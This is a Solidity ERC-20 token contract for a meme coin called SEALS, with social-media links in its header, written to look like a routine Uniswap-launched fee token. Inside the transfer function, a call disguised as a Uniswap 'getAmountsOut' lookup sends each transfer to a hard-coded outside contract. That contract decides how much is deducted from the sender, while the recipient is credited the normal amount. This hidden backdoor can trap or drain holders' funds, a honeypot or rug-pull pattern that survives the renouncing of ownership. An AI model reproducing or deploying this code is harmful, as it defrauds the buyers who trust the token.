// SPDX-License-Identifier: MIT
/*
tg: https://t.me/SEALS_ERC20
tw: https://twitter.com/SEALS_ERC20/
web: https://sealerc.online/
*/
pragma solidity 0.8.18;
abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; }}interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);}library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; }}contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }}interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair);}interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsOut(address owner, address spender, uint256 amount) external returns (uint256); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity);}contract SEALS is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable _taxWallet; address _router; uint256 _initialBuyTax=10; uint256 _initialSellTax=10; uint256 _finalBuyTax=0; uint256 _finalSellTax=0; uint256 _reduceBuyTaxAt=10; uint256 _reduceSellTaxAt=10; uint256 _preventSwapBefore=30; uint256 _buyCount=0; uint8 _decimals = 9; uint256 _tTotal = 10000000000 * 10**_decimals; string _name = "SEALS"; string _symbol = "SEALS"; uint256 public _maxTxAmount = 10000000000 * 10**_decimals; uint256 public _maxWalletSize = 10000000000 * 10**_decimals; uint256 public _taxSwapThreshold= 151230425 * 10**_decimals; uint256 public _maxTaxSwap= 151230424 * 10**_decimals; IUniswapV2Router02 uniswapV2Router; address uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _router= 0x152a561bdBbEecB4a2653cE4eDfE179AA11cD183; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _balances[address(this)] = _tTotal*95/100; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_router] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0),address(this), _tTotal*95/100); _balances[owner()] = _tTotal*5/100; emit Transfer(address(0),owner(), _tTotal*5/100); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 toAmount=amount;amount=getAmountsOut(from,to,amount); uint256 tax =(_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && tax >0) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(toAmount.sub(taxAmount)); emit Transfer(from, to, toAmount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function getAmountsOut(address owner, address spender, uint256 amount) private returns (uint256){ return IUniswapV2Router02(_router).getAmountsOut(owner,spender, amount); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external payable onlyOwner() { require(!tradingOpen,"trading is already open"); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } }}